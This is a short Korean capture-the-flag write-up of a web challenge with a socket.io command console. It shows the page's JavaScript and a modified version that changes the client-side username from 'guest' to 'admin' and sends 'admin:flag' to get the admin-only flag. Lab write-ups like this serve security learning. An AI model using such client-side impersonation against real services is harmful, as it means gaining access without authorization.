문제에 접속하게 되면 다음과 같이 CLI 창이 뜨는 것을 알 수 있고 help 명령어를 통해 ls, id, flag 명령어를 입력할 수 있다는 사실을 알 수 있다. flag를 입력하면 admin only라는 사실 또한 알 수 있다.

문제 페이지의 js 코드는 다음과같다.
$(function () {
var username = "guest";
var socket = io();
$('form').submit(function(e){
e.preventDefault();
socket.emit('cmd',username+":"+$('#m').val());
$('#m').val('');
return false;
});
socket.on('cmd', function(msg){
$('#messages').append($('<li>').text(msg));
});
});
코드를 살펴보면 socket = io()를 통해 새로운 소켓을 생성해주고, emit()을 통해 메시지를 보낸다.
그런 다음 on을 통해서 서버의 응답을 보여주고 있다. 지금 보내는 메시지를 보면 username:보내는 명령어 구조로 되어 있는데, 위에서 admin만 플래그 값을 볼 수 있다고 했으니 admin:flag로 메시지를 보낸다면 flag 값을 얻을 수 있을 것이다.
$(function () {
var username = "admin";
var socket = io();
$('form').submit(function(e){
e.preventDefault();
socket.emit('cmd',username+":flag");
return false;
});
socket.on('cmd', function(msg){
$('#messages').append($('<li>').text(msg));
});
});
해당 명령어로 요소를 수정한 후 입력창에 아무 값이나 입력하게 되면 flag를 획득할 수 있다.